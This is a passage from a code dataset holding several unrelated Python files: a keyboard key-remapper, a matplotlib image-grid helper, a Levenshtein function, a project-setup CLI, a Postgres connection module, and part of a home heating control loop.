keyboard.KEY_DOWN:\n self.lastHit = time.time()\n self.activate()\n elif event.event_type == keyboard.KEY_UP:\n self.deactivate()\n\n def deactivate(self):\n if self.active:\n self.active = False\n keyboard.unhook_all()\n\n if self.recordMode:\n typed = ''\n for event in self.recordedEvents:\n typed += event.name\n if typed in self.swaps:\n keyboard.write(self.swaps[typed])\n\n self.init_master()\n self.recordedEvents = []\n\n def activate(self):\n if not self.active:\n self.recordedEvents = []\n self.active = True\n\n callback = self.record if self.recordMode else self.receive\n self.hook = keyboard.hook(callback=callback, suppress=True)\n\n def record(self, event):\n if event.name == self.master:\n if event.event_type == keyboard.KEY_UP:\n self.lastType = event.event_type\n self.deactivate()\n else:\n return\n elif event.event_type == keyboard.KEY_DOWN:\n self.recordedEvents.append(event)\n\n def receive(self, event):\n if event.name == self.master:\n if event.event_type == keyboard.KEY_UP:\n self.lastType = event.event_type\n self.deactivate()\n else:\n return\n elif event.name in self.swaps:\n keyboard.write(self.swaps[event.name])\n else:\n keyboard.write(event.name)\n\n def shutdown(self):\n keyboard.unhook_all()\n\n\nif __name__ == '__main__':\n keybrain = KeyBrain('caps lock')\n","sub_path":"src/keybrain.py","file_name":"keybrain.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"527139116","text":"# a library that build upon matplotlib to make scientific figures\n# with images\n'''\nFeatures:\n\n> Automatic plotting a series of images and Lettering them\n in order. (draggable text of course!)\n\n'''\n\n#########################################################################\n# Imports\n\n# importing graphics plots\nfrom matplotlib.image import imread\nfrom matplotlib import pyplot as plt\n\n# import math tools\nfrom math import sqrt, floor, ceil\n\n# import for type checking\nfrom numpy import array\n\n# importing custom plots\nfrom mpl_inter import Interact # movable text\nfrom img_utils import get_imgs # getting images in a dir\n\n\n\n###########################################################################\n# Functions\n\n# Assuming you have data that consists of N column\n# and each column needs a separate subplot, What are the \n# subplot dimensions to make the subplot grid most square.\n# That is what this function finds\ndef subplot_shape(ncols, wide=True):\n # NCOLS: number of subplots to make\n # WIDE: If making the subplot figure square is not possible\n # \tThis determines whether to make the plot tall or wide.\n \n # if the sqrt(NCOLS) is an integer then\n # the plot can be made square\n root_ncols = sqrt(ncols)\n \n # if int, return two of the root\n if isinstance(root_ncols, int):\n return root_ncols, root_ncols\n \n \n # because NCOLS if not a perfect square,\n # we must make a non-square grid based on the parameter\n # WIDE\n \n '''\n The algorithm is based on the fact that \n if floor(sqrt(NCOLS)) * ceil(sqrt(NCOLS)) is sometimes\n greater than NCOLS assuming NCOLS is not a perfect square\n only if NCOLS is not a perfect square. Furthermore\n floor(sqrt(NCOLS))**2 < NCOLS, so the most square\n solution is floor(sqrt(NCOLS)) * ceil(sqrt(NCOLS))\n for integers. But sometimes floor(sqrt(NCOLS)) * ceil(sqrt(NCOLS))\n is less than NCOLS, so we must perform a checking\n and will increment a dimension make a grid\n that will be large enough for all plots\n '''\n r, c = floor(root_ncols), ceil(root_ncols)\n \n # iterating until dimension values\n # are large enough\n while True:\n \n # checking that r*c >= ncols\n # incrementing dimension\n if r * c < ncols:\n \n # the remaining number of plots to make room for \n remainder = ncols - r*c\n \n # Important note ***\n # if you add a column,\n # you create nrow more spaces\n # and vice versa\n \n # can add another column to fix problem \n if remainder <= r and remainder > c:\n c += 1\n \n # can add another row\n elif remainder > r and remainder <= c:\n r += 1\n \n # adding either value is too small\n # add to which dim add fewer values \n # and try again\n elif remainder > r and remainder > c:\n \n if r < c:\n c += 1\n continue\n else:\n r += 1\n continue\n \n # both values are two big\n # add which ever adds few spaces\n # and break\n elif remainder <= r and remainder <= c:\n\n # pick the more square options\n if r < c:\n r += 1\n break # exit while\n else:\n c += 1\n break # exit while\n \n # values are good!\n else:\n break\n \n \n #converting type to\n # return integers\n r = int(r)\n c = int(c)\n \n # Returning values\n # returning the larger dimensions# as number of columns\n if wide: # the wide subplots case\n \n if r > c:\n return c, r\n else:\n return r, c\n\n # return values to create a tall plot\n else:\n if r > c:\n return r, c\n else:\n return c, r\n\n# --------------------------------------------------------------------\n# --------------------------------------------------------------------\n\n# functiont that creates an empty figure\n# and axes based on the subplot\n# geometry provided by subplot shape\n# figure has deletes unused plots\ndef mk_subplots(n, wide=True, **kwargs):\n\n # creating subplot geometry\n r, c = subplot_shape(n, wide)\n\n # creating an empty figure\n fig, axes = plt.subplots(r,c, **kwargs)\n\n # type checking axes, making sure it is an array\n if not isinstance(axes, type(array)):\n axes = array([axes])\n \n # making axes easy to deal with \n # by flattening into a 1D array\n axes = axes.flatten()\n\n # deleting unused axes\n\n # gettin unused axes\n n_unused = r*c - n\n \n # iterating over number of unused axes\n # and removing them\n for ii in range(n_unused):\n # remiving axes from figure\n fig.delaxes(axes[n - ii])\n\n # returning figure and axes\n return fig\n\n\n# --------------------------------------------------------------------\n# --------------------------------------------------------------------\n\n# function wraps matplotlib's imshow\n# takes an axes of a subplot and plots\n# image data to it. This function\n# wraps the plotting and aestic steps\n# returns an axes with the image plotted\ndef imgplt(files, fig, ticks=False, frame=False,\n edgec='k', **kwargs):\n '''\n Paramters:\n \n > FILES: a list of strings of images to be plotted\n > FIG: the figrue with subplots on it to plot\n the images on\n > NOTICKS: whether to show tick marks or not\n > FRAME: whether to add a frame around the image or not\n > KWARGS: are passed to Axes.imshow()\n '''\n\n # getting the axes from the figure\n for i in range(len(files)):\n \n # modifying the given axes\n\n # keeping or removing frame\n # from subplot\n fig.axes[i].set_frame_on(frame)\n\n # if frame is on, set the color\n if frame:\n fig.axes[i].set_edgecolor(edgec)\n\n # making figure focused on the image\n if not ticks:\n fig.axes[i].set_xticks([])\n fig.axes[i].set_yticks([])\n\n\n # adding picture to subplot\n \n # reading image into plotable format\n image = imread(files[i]) # matplotlib\n\n # adding image to axes image figure\n img_ax = fig.axes[i].imshow(image, **kwargs)\n \n # updating the figure\n fig.axes[i] = img_ax.axes\n\n # changes are made inplace\n # to the axes on the figure\n # nothing to return\n return \n\n# --------------------------------------------------------------------\n# --------------------------------------------------------------------\n\n# adds labels to image figures on images\ndef add_label(fig, letter=True, number=False, color='k',\n x=0.04, y=0.8, size='medium', custom_txt=None,\n smart=True, **kwargs):\n '''\n Parameters:\n\n > FIG: the figure object\n > LETTER: adding uppercase letters in order. If False, adds numbers\n > NUMBER: determines if numberic labels are to be used if LETTER is false\n > COLOR: color of the text\n > X: the x-value to place label in Axes Coordinates\n > Y: scales the image label y position that is calculated from the image\n a 0.8 value means that the text is put at 0.8*ymax of the image.\n > SIZE: the relative size text\n > CUSTOM_TXT: 3rd option to LETTER and NUMBER, a list of strings to put as labels\n > KWARGS: passed to axes.text()\n '''\n\n # getting all ascii uppercase letters for labels\n if letter:\n from string import ascii_uppercase\n\n # getting subplots on figure\n axes = fig.axes\n\n # checking that there are enough labels\n if letter:\n if len(axes) > len(ascii_uppercase):\n raise ValueError('There are more axes then uppercase letters')\n\n # iterating over axes\n # adding text to each one\n for i in range(len(axes)):\n\n # getting y position of image\n # need to get image data from the axes\n # transform it into the right coordinates\n \n\n # if letters, add them to plots\n if letter:\n \n # adding text label\n txt = axes[i].text(x,y, ascii_uppercase[i], size=size,\n transform=axes[i].transAxes, color=color,\n **kwargs)\n\n # making text movable\n Interact(txt, transax=True)\n\n # letter takes priority over number\n elif number:\n\n # adding text label\n txt = axes[i].text(x,y,str(i), size=size, color=color,\n transform=axes[i].transAxes, **kwargs)\n\n # making text movable \n Interact(txt, transax=True)\n\n # custom text on each fig\n else:\n # adding text label\n txt = axes[i].text(x,y, custom_txt[i], size=size,\n color=color,\n transform=axes[i].transAxes, **kwargs)\n\n # making text movable\n Interact(txt, transax=True)\n\n # after all images have had labels added\n # we return and figure escapes namespace\n return \n\n# --------------------------------------------------------------------\n# --------------------------------------------------------------------\n\n# generating a grid of image subplots\n# adding and labeling those images\ndef img_subplot(files, labels=True, **kwargs):\n '''\n Parameters:\n\n > FILES: list of paths to images to show\n > LABELS: determines if labels are to be added to\n all images on a figure\n > KWARGS: passed to mk_subplots(), imgplt(), addlabel()\n '''\n\n # type checking FILES\n # ensuring it is list\n if isinstance(files, str):\n files = [files]\n \n # making figure and getting the axes\n # properly formatted, with no extra\n # subplots\n fig = mk_subplots(len(files))\n\n # adding the image to the subplot\n img_ax = imgplt(files, fig, **kwargs)\n\n # adding moveable labels to figure\n if labels:\n add_label(fig, **kwargs)\n\n # returning the figure and the axes\n return fig\n\n##########################################################################\n\n# testing\nif __name__ == '__main__':\n\n # image files\n f = ['C:\\\\Users\\\\Ryan\\\\Documents\\\\MEHEK.jpg',\n 'C:\\\\Users\\\\Ryan\\\\Documents\\\\schedule_pic_spring_2018.jpg',\n 'C:\\\\Users\\\\Ryan\\\\Documents\\\\order_summery.jpg']\n\n # testing plotting multiple images\n # on a figure with labels\n fig = img_subplot(f)\n\n # end of test\n plt.show()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"PlotWidgets/mpl_img.py","file_name":"mpl_img.py","file_ext":"py","file_size_in_byte":10731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"17893529","text":"import numpy as np\r\n\r\n# Levenshtein\r\n\r\ndef levenshtein(source, goal):\r\n n = len(source)\r\n m = len(goal)\r\n\r\n if n == 0:\r\n return m\r\n if m == 0:\r\n return n\r\n matrix = np.zeros((n+1, m+1), dtype=np.int)\r\n \r\n for i in range(n):\r\n matrix[i][0] = i\r\n for j in range(m):\r\n matrix[0][j] = j\r\n\r\n for i in range(1, n+1):\r\n source_i = source[i-1]\r\n for j in range(1, m+1):\r\n goal_j = goal[j-1]\r\n if source_i == goal_j:\r\n cost = 0\r\n else:\r\n cost = 1\r\n matrix[i][j] = min(matrix[i-1][j]+1, matrix[i][j-1]+1, matrix[i-1][j-1] + cost)\r\n return matrix[n][m]\r\n","sub_path":"talleres/taller09/taller9.py","file_name":"taller9.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"232108581","text":"import click\nimport os\nimport sys\nimport yaml\n\nfrom collections import OrderedDict\nfrom sultan.api import Sultan\nfrom snek.error import SnekInitializationError\nfrom snek.utils import cli_request, load_snekfile, save_snekfile\n\n\ndef init_command(data_format):\n \"\"\"\n Creates a New Python project, and places a 'Snekfile' with the necessary information\n to manage a Python Project.\n \"\"\"\n pwd = os.environ.get('PWD')\n project = load_snekfile()\n try:\n click.echo(\"\")\n click.echo(\"\")\n click.echo(\"----\")\n click.echo(\"Snek\")\n click.echo(\"----\")\n click.echo(\"\")\n click.echo(\"'snek init' will setup your project. Snek will go through a \")\n click.echo(\"series of questions, and based on your answers, snek will setup\")\n click.echo(\"your python project.\")\n click.echo(\"\")\n click.echo(\"\")\n click.echo(\"Once everything has been setup, run 'snek install' to setup dependencies.\")\n click.echo(\"\")\n click.echo(\"\")\n click.echo(\"For more information, run 'snek --help'\")\n \n project_interpretter = cli_request(\n 'Which version of Python?', \n \"3.8\", \n choices=[\"3.8\", \"3.7\", \"3.6\", \"3.5\"],\n show_choices=True)\n\n project_name = cli_request(\n 'Project Name', \n project.get('name') or os.path.basename(pwd))\n\n project_description = cli_request(\n 'Project Description',\n project.get('description') or '')\n\n project_version = cli_request(\n 'Project Version', \n project.get('version') or '0.1.0')\n\n project_author = cli_request(\n 'Project Author',\n project.get('author') or '')\n\n project_author_email = cli_request(\n 'Project Author E-Mail',\n project.get('author_email') or '')\n\n project_license = cli_request(\n 'Project License',\n project.get('license') or '')\n\n project_type = cli_request(\n 'Project Type', \n project.get('type') or 'cli', \n choices=['cli', 'gui', 'django'], \n show_choices=True)\n\n snekfile_params = OrderedDict()\n snekfile_params['name'] = project_name\n snekfile_params['description'] = project_description\n snekfile_params['version'] = project_version\n snekfile_params['author'] = project_author\n snekfile_params['author_email'] = project_author_email\n snekfile_params['license'] = project_license\n snekfile_params['type'] = project_type\n snekfile_params['interpretter'] = project_interpretter\n snekfile_params['dependencies'] = []\n snekfile_params['commands'] = {\n 'test': [\n 'pytest'\n ],\n 'hello': [\n 'echo \"Hello from Snek!\"',\n 'cat Snekfile'\n ]\n }\n snekfile_params['env'] = {}\n snekfile_params['env']['dev'] = {\n 'dependencies': ['ipython', 'ipdb', 'pytest'],\n 'commands': {\n 'shell': [\n 'ipython'\n ]\n }\n }\n\n snekfile_path = os.path.join(pwd, 'Snekfile')\n save_snekfile(snekfile_params, data_format)\n\n with Sultan.load(cwd=pwd) as s:\n r = s.cat(snekfile_path).run()\n for l in r.stdout:\n print(l)\n \n isOK = cli_request(\"Does this look OK?\", 'Y', choices=['y', 'Y', 'n', 'N'])\n if isOK in ('n', 'N'):\n click.secho(\"Please run 'snek init' again to try again.\", fg='yellow')\n \n click.secho('Your Snekfile can be found in \"%s\"' % snekfile_path, fg='green')\n\n except SnekInitializationError as e:\n \n click.secho(\"ERROR: %s\" % e.message, fg='red')\n return\n\n\ndef steve_command():\n \n color = 'magenta'\n\n click.secho(\" /^\\/^\\\\\", fg=color)\n click.secho(\" _|__| O|\", fg=color)\n click.secho(\"\\/ /~ \\_/ \\\\\", fg=color)\n click.secho(\" \\____|__________/ \\\\\", fg=color)\n click.secho(\" \\_______ \\\\\", fg=color)\n click.secho(\" `\\ \\ \\\\\", fg=color)\n click.secho(\" | | \\\\\", fg=color)\n click.secho(\" / / \\\\\", fg=color)\n click.secho(\" / / \\\\\\\\\", fg=color)\n click.secho(\" / / \\ \\\\\", fg=color)\n click.secho(\" / / \\ \\\\\", fg=color)\n click.secho(\" / / _----_ \\ \\\\\", fg=color)\n click.secho(\" / / _-~ ~-_ | |\", fg=color)\n click.secho(\" ( ( _-~ _--_ ~-_ _/ |\", fg=color)\n click.secho(\" \\ ~-____-~ _-~ ~-_ ~-_-~ /\", fg=color)\n click.secho(\" ~-_ _-~ ~-_ _-~\", fg=color)\n click.secho(\" ~--______-~ ~-___-~\", fg=color)\n\ndef task_run_command(name):\n\n snekfile = load_snekfile().get('project', {})\n try:\n tasks = snekfile.get('tasks', {}).get(name)\n if not tasks:\n raise SnekTaskNotFound(\"'%s' task is not found in Snekfile\" % (name))\n \n with Sultan.load() as s:\n header = \"Executing '%s'\" % name\n click.secho(\"-\" * len(header), fg='cyan')\n click.secho(header, fg='cyan')\n click.secho(\"-\" * len(header), fg='cyan')\n for task in tasks:\n s.commands = [task]\n response = s.run()\n for line in response:\n click.secho(\".\\t\" + line, fg='magenta')\n\n except Exception as e:\n click.secho(\"ERROR: Unable to run task '%s'\" % (name), fg='red')\n click.secho(\"ERROR: %s\" % e.message, fg='red')","sub_path":"snek/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":5966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"565688850","text":"# import models as m\nfrom dotenv import load_dotenv\nfrom sqlalchemy.engine.url import URL\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\n\nfrom os import getenv\n\nfrom colorama import Fore\nfrom colorama import init\n\ninit(autoreset=True)\n\n\n# from progressbar import progressbar\n\n\nload_dotenv()\n\n# base_dir = path.dirname(path.dirname(path.dirname(path.dirname(path.abspath(__file__)))))\n# sqlite_dir = path.join(base_dir, \"new.sqlite\")\n# sqlite_db = {\"drivername\": \"sqlite\", \"database\": sqlite_dir}\n# sqlite_uri = URL(**sqlite_db)\n# sqlite_engine = create_engine(sqlite_uri)\n# sq_session = sessionmaker(bind=sqlite_engine)\n\n\npostgres_db = {\n \"drivername\": \"postgresql\",\n \"username\": getenv(\"DB_USERNAME\"),\n \"password\": getenv(\"DB_PASSWORD\"),\n \"host\": getenv(\"DB_HOST\"),\n \"port\": int(getenv(\"DB_PORT\", 5432)),\n \"database\": getenv(\"DB_DATABASE\"),\n}\npostgres_uri = URL(**postgres_db)\ndb_uri = postgres_uri # passed to alembic\n\npostgres_engine = create_engine(\n postgres_uri,\n pool_size=10,\n max_overflow=2,\n pool_recycle=300,\n pool_pre_ping=True,\n pool_use_lifo=True,\n)\n\npg_session = sessionmaker(bind=postgres_engine)\n\nSession = scoped_session(pg_session)\n\n\ndef testdb():\n \"\"\" run empty transaction \"\"\"\n\n try:\n Session().execute(\"SELECT 1 WHERE false;\")\n print(Fore.GREEN + \"-------- DB conn test Successful --------\")\n except:\n print(Fore.RED + \"!!!!!!!! DB conn test Failed !!!!!!!!\")\n\n\ntestdb()\n\n\n# print(\"\\nDB_URI: \", db_uri, \"\\n\")\n\n# echo_value = \"-db\" in sys.argv\n# print(\"-\" * 6, \"SQLalchemy logging is \" + str(echo_value), \"-\" * 6, \"\\n\")\n\n# m.Base.metadata.create_all(postgres_engine)\n","sub_path":"src/database/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"218443120","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom ds1820class import DS1820\nfrom ds1820class import Write_temp\nfrom Kompensering import Kompensering\nfrom OpenCloseValveClass import OpenCloseValve\nfrom IOdef import IOdef\nfrom scraping import GetData\nfrom PumpControl import PumpControl\n# from ModBus import runModBus\nimport time\nimport threading\nimport pickle\nimport datetime\nimport datetime as dt\nimport asyncio\nfrom timechannel import timechannel\nfrom socket_server import EchoServerClientProtocol\nimport sys\nimport json\n\n\nclass MainLoop():\n def __init__(self):\n self.test_HAMC_Data = {'fyrtio': 40, 'tva': 2}\n self.socket_host = '127.0.0.1'\n self.socket_port = 5004\n self.loop = asyncio.get_event_loop()\n # Each client connection will create a new protocol instance\n self.coro = self.loop.create_server(\n lambda: EchoServerClientProtocol(self.data_func),\n self.socket_host,\n self.socket_port)\n self.server = self.loop.run_until_complete(self.coro)\n self.loop.create_task(self.async_5sec())\n self.loop.create_task(self.async_20sec())\n self.loop.create_task(self.async_1440sec())\n self.loop.create_task(self.async_3600sec())\n\n # Serve requests until CTRL+c is pressed\n\n\n # Declare IO Variables\n self.IOVariables = IOdef()\n\n # Declare temperaturecompensation\n self.Komp = Kompensering()\n self.Komp.SetVarden(20, 17)\n self.Komp.SetVarden(-10, 40)\n self.Komp.SetVarden(0, 35)\n self.Komp.SetVarden(10, 30)\n self.Komp.SetVarden(-20, 65)\n self.Komp.SetMax(65)\n self.Komp.SetMin(20)\n\n # Loggin of the compensation\n self.Setpoint_VS1 = 0.0\n self.Setpoint_Log_VS1 = Write_temp(self.Setpoint_VS1, 'VS1_Setpoint')\n\n # Declare temperature sensors\n # Framledning\n self.VS1_GT1 = DS1820('28-00000523a1cb')\n self.VS1_GT1.Comment = '''\n This is the sensor that measures\n the water temperature to the radiators'''\n self.VS1_GT1.Name = 'VS1_GT1'\n # Retur\n self.VS1_GT2 = DS1820('28-00000524056e')\n self.VS1_GT2.Comment = '''This is the sensor that measures\n the water temperature from the radiators'''\n self.VS1_GT2.Name = 'VS1_GT2'\n # Ute\n self.VS1_GT3 = DS1820('28-0000052407e0')\n self.VS1_GT3.Comment = '''This is the sensor that measures\n the outdoor temperature'''\n self.VS1_GT3.Name = 'VS1_GT3'\n # @Solar panels\n # self.SUN_GT1 = DS1820('28-00000523ab8e')\n # self.SUN_GT1.Comment = '''This is the sensor that measures\n # the water temperature to the solar panels'''\n # self.SUN_GT1.Name = 'SUN_GT1'\n # After solar panels\n self.SUN_GT2 = DS1820('28-0000052361be')\n self.SUN_GT2.Comment = '''This is the sensor that measures\n the water temperature from the solar panels'''\n self.SUN_GT2.Name = 'VS1_GT2'\n\n # Declare logging interval\n self.VS1_GT1.SetWriteInterval(60)\n self.VS1_GT2.SetWriteInterval(60)\n self.VS1_GT3.SetWriteInterval(60)\n # self.SUN_GT1.SetWriteInterval(60)\n self.SUN_GT2.SetWriteInterval(60)\n\n # Declare Heating valve\n self.VS1_SV1_Class = OpenCloseValve()\n self.VS1_SV1_Class.Name = 'VS1_SV1'\n self.VS1_SV1_Class.Open_IO = 'b_VS1_SV1_OPEN_DO'\n self.VS1_SV1_Class.Close_IO = 'b_VS1_SV1_CLOSE_DO'\n\n # Initialize the loops\n self.ActTimeLoop1 = time.time()\n self.ActTimeLoop2 = time.time()\n self.ActTimeLoop3 = time.time() - 14400\n self.ActTimeLoop4 = time.time()\n self.ActTimeLoop5 = time.time()\n\n # Declare Cirkulation pump sun heaters\n self.VS1_CP2_Class = PumpControl('SUN_P1')\n self.VS1_CP2_Class.Comment = '''This is the pump that pumps\n water up to the sun heaters'''\n # self.VS1_CP2_Class.Name='SUN_P1'\n\n # Declare Circualation pump for radiators in the house\n self.VS1_CP1_Class = PumpControl('VS1_CP1')\n self.VS1_CP1_Class.Comment = ('''This is the pump that supplies\n the heating radiators with hot water''')\n\n # Interaction menu\n self.choices = {\n \"1\": self.change_sp,\n \"2\": self.show_values,\n \"3\": self.show_weather,\n \"4\": self.toggle_out,\n \"5\": self.change_nightsink,\n \"0\": self.exit\n }\n # Declare variebles\n self.Weather_State = ''\n self.exit_flag = False\n self.datumtid = datetime.date.today()\n self.ThreeDayTemp = 9.0\n\n self.choice = False\n\n # Declare timechannel\n self.time_channel_VS1_SV1 = timechannel()\n self.VS1_SV1_SP_Down = False\n self.time_channel_VS1_SV1.time_dict[0] = [\n (dt.time(0, 0), True),\n (dt.time(3, 0), False),\n (dt.time(23, 0), True),\n (dt.time(14, 0), False),\n (dt.time(9, 0), True)\n ]\n self.time_channel_VS1_SV1.time_dict[1] = [\n (dt.time(0, 0), True),\n (dt.time(3, 0), False),\n (dt.time(23, 0), True),\n (dt.time(14, 0), False),\n (dt.time(9, 0), True)\n ]\n self.time_channel_VS1_SV1.time_dict[2] = [\n (dt.time(0, 0), True),\n (dt.time(3, 0), False),\n (dt.time(23, 0), True),\n (dt.time(14, 0), False),\n (dt.time(9, 0), True)\n ]\n self.time_channel_VS1_SV1.time_dict[3] = [\n (dt.time(0, 0), True),\n (dt.time(3, 0), False),\n (dt.time(23, 0), True),\n (dt.time(14, 0), False),\n (dt.time(9, 0), True)\n ]\n self.time_channel_VS1_SV1.time_dict[4] = [\n (dt.time(0, 0), True),\n (dt.time(3, 0), False),\n (dt.time(23, 0), True),\n (dt.time(14, 0), False),\n (dt.time(9, 0), True)\n ]\n self.time_channel_VS1_SV1.time_dict[5] = [\n (dt.time(0, 0), True),\n (dt.time(3, 0), False),\n (dt.time(23, 0), True),\n (dt.time(14, 0), False),\n (dt.time(9, 0), True)\n ]\n self.time_channel_VS1_SV1.time_dict[6] = [\n (dt.time(0, 0), True),\n (dt.time(3, 0), False),\n (dt.time(23, 0), True),\n (dt.time(14, 0), False),\n (dt.time(9, 0), True)\n ]\n try:\n self.loop.run_forever()\n except KeyboardInterrupt:\n pass\n\n # Close the server\n self.server.close()\n self.loop.run_until_complete(self.server.wait_closed())\n self.loop.close()\n\n\n @asyncio.coroutine\n def async_5sec(self):\n while True:\n yield from asyncio.sleep(5)\n # 5seconds loop\n self.ActTimeLoop2 = time.time()\n # Run check if the sun warm pump should go\n # self.VS1_CP2_Class.Man = Control_of_CP2(\n # self.Weather_State,\n # self.VS1_GT3.temp,\n # self.SUN_GT2.temp,\n # self.SUN_GT1.temp)\n # Run control of sun warming pump\n # self.VS1_CP2_Class.main(0)\n # self.IOVariables['b_VS1_CP2_DO']['Value'] = (\n # self.VS1_CP2_Class.Out)\n\n '''Run check if the radiator pump should go,\n if out temperature is under 10 degrees\n '''\n self.VS1_CP1_Class.Man = self.ThreeDayTemp < 10.0\n\n # Run control of sun warming pump\n self.VS1_CP1_Class.main(0)\n self.IOVariables['b_VS1_CP1_DO']['Value'] = (\n self.VS1_CP1_Class.Out)\n\n self.check_if_new_day()\n\n # self.choice = not self.choice\n # self.interact_with_flask(self.choice)\n\n # print('Loop 2')\n\n print('Var 5:e')\n\n\n # Run modbus communication\n '''try:\n runModBus(self.IOVariables)\n except Exception as e:\n print('Something went wrong with the modbus!')\n '''\n\n @asyncio.coroutine\n def async_20sec(self):\n while True:\n yield from asyncio.sleep(20)\n # 20 seconds loop\n # Reset time for next loop\n self.ActTimeLoop1 = time.time()\n\n # print('GT1 {0:.1f}'.format(GT1.RunMainTemp()))\n # print('GT2 {0:.1f}'.format(VS1_GT2.RunMainTemp()))\n # print('GT3 {0:.1f}'.format(VS1_GT3.RunMainTemp()))\n\n # Run the sensors\n \"\"\"try:\n self.VS1_GT1.RunMainTemp()\n except Exception as e:\n print('''\n It went wrong time: {time} with {name}... {e}\n ''').format(\n time=dt.datetime.now(),\n name=self.VS1_GT1.__class__,\n e=e)\n try:\n self.VS1_GT2.RunMainTemp()\n except Exception as e:\n print('''\n It went wrong time: {time} with {name}... {e}\n ''').format(\n time=dt.datetime.now(),\n name=self.VS1_GT2.__class__,\n e=e)\n try:\n self.VS1_GT3.RunMainTemp()\n except Exception as e:\n print('''\n It went wrong time: {time} with {name}... {e}\n ''').format(\n time=dt.datetime.now(),\n name=self.VS1_GT3.__class__,\n e=e)\"\"\"\n # try:\n # self.SUN_GT1.RunMainTemp()\n # except Exception, e:\n # print('''\n # It went wrong time: {time} with {name}... {e}\n # ''').format(\n # time=dt.datetime.now(),\n # name=self.SUN_GT1.__class__,\n # e=e)\n '''try:\n self.SUN_GT2.RunMainTemp()\n except Exception as e:\n print(\"\"\"\n It went wrong time: {time} with {name}... {e}\n \"\"\").format(\n time=dt.datetime.now(),\n name=self.SUN_GT2.__class__,\n e=e)\n '''\n # Calculate setpoint\n self.Setpoint_VS1 = self.Komp.CountSP(self.VS1_GT3.temp)\n self.Setpoint_Log_VS1.value = self.Setpoint_VS1\n # print('SP {0:.1f}'.format(Setpoint_VS1))\n self.Setpoint_Log_VS1.main()\n\n # Run valve check\n self.VS1_SV1_Class.main(\n self.VS1_GT1.temp,\n self.Setpoint_VS1,\n self.IOVariables)\n\n # Run timechannel check, if True, change the setpoint\n self.VS1_SV1_SP_Down = self.time_channel_VS1_SV1.check_state()\n self.Komp.change_SP_lower(self.VS1_SV1_SP_Down)\n print('Var 20:e')\n\n @asyncio.coroutine\n def async_1440sec(self):\n while True:\n self.Weather_State = GetData()\n print('Var 1440:e')\n yield from asyncio.sleep(1440)\n\n @asyncio.coroutine\n def async_3600sec(self):\n while True:\n yield from asyncio.sleep(3600)\n self.set_three_day_temp()\n\n def control_loop(self):\n while not self.exit_flag:\n '''This is the main loop'''\n if self.ActTimeLoop1 + 20 < time.time():\n # 20 seconds loop\n # Reset time for next loop\n self.ActTimeLoop1 = time.time()\n\n # print('GT1 {0:.1f}'.format(GT1.RunMainTemp()))\n # print('GT2 {0:.1f}'.format(VS1_GT2.RunMainTemp()))\n # print('GT3 {0:.1f}'.format(VS1_GT3.RunMainTemp()))\n\n # Run the sensors\n try:\n self.VS1_GT1.RunMainTemp()\n except Exception as e:\n print('''\n It went wrong time: {time} with {name}... {e}\n ''').format(\n time=dt.datetime.now(),\n name=self.VS1_GT1.__class__,\n e=e)\n try:\n self.VS1_GT2.RunMainTemp()\n except Exception as e:\n print('''\n It went wrong time: {time} with {name}... {e}\n ''').format(\n time=dt.datetime.now(),\n name=self.VS1_GT2.__class__,\n e=e)\n try:\n self.VS1_GT3.RunMainTemp()\n except Exception as e:\n print('''\n It went wrong time: {time} with {name}... {e}\n ''').format(\n time=dt.datetime.now(),\n name=self.VS1_GT3.__class__,\n e=e)\n # try:\n # self.SUN_GT1.RunMainTemp()\n # except Exception, e:\n # print('''\n # It went wrong time: {time} with {name}... {e}\n # ''').format(\n # time=dt.datetime.now(),\n # name=self.SUN_GT1.__class__,\n # e=e)\n try:\n self.SUN_GT2.RunMainTemp()\n except Exception as e:\n print('''\n It went wrong time: {time} with {name}... {e}\n ''').format(\n time=dt.datetime.now(),\n name=self.SUN_GT2.__class__,\n e=e)\n\n # Calculate setpoint\n self.Setpoint_VS1 = self.Komp.CountSP(self.VS1_GT3.temp)\n self.Setpoint_Log_VS1.value = self.Setpoint_VS1\n # print('SP {0:.1f}'.format(Setpoint_VS1))\n self.Setpoint_Log_VS1.main()\n\n # Run valve check\n self.VS1_SV1_Class.main(\n self.VS1_GT1.temp,\n self.Setpoint_VS1,\n self.IOVariables)\n\n # Run timechannel check, if True, change the setpoint\n self.VS1_SV1_SP_Down = self.time_channel_VS1_SV1.check_state()\n self.Komp.change_SP_lower(self.VS1_SV1_SP_Down)\n\n if self.ActTimeLoop2 + 5 < time.time():\n # 5seconds loop\n self.ActTimeLoop2 = time.time()\n # Run check if the sun warm pump should go\n # self.VS1_CP2_Class.Man = Control_of_CP2(\n # self.Weather_State,\n # self.VS1_GT3.temp,\n # self.SUN_GT2.temp,\n # self.SUN_GT1.temp)\n # Run control of sun warming pump\n self.VS1_CP2_Class.main(0)\n self.IOVariables['b_VS1_CP2_DO']['Value'] = (\n self.VS1_CP2_Class.Out)\n\n '''Run check if the radiator pump should go,\n if out temperature is under 10 degrees\n '''\n self.VS1_CP1_Class.Man = self.ThreeDayTemp < 10.0\n\n # Run control of sun warming pump\n self.VS1_CP1_Class.main(0)\n self.IOVariables['b_VS1_CP1_DO']['Value'] = (\n self.VS1_CP1_Class.Out)\n\n self.check_if_new_day()\n\n # self.choice = not self.choice\n # self.interact_with_flask(self.choice)\n\n # print('Loop 2')\n\n\n # Run modbus communication\n try:\n runModBus(self.IOVariables)\n except Exception as e:\n print('Something went wrong with the modbus!')\n raise e\n\n if self.ActTimeLoop3 + 14400 < time.time():\n self.Weather_State = GetData()\n\n # 4 hour loop\n self.ActTimeLoop3 = time.time()\n\n if self.ActTimeLoop5 + 3600 < time.time():\n '''Run Loop once a hour\n '''\n self.set_three_day_temp()\n\n time.sleep(1)\n\n def interaction_loop(self):\n while not self.exit_flag:\n\n 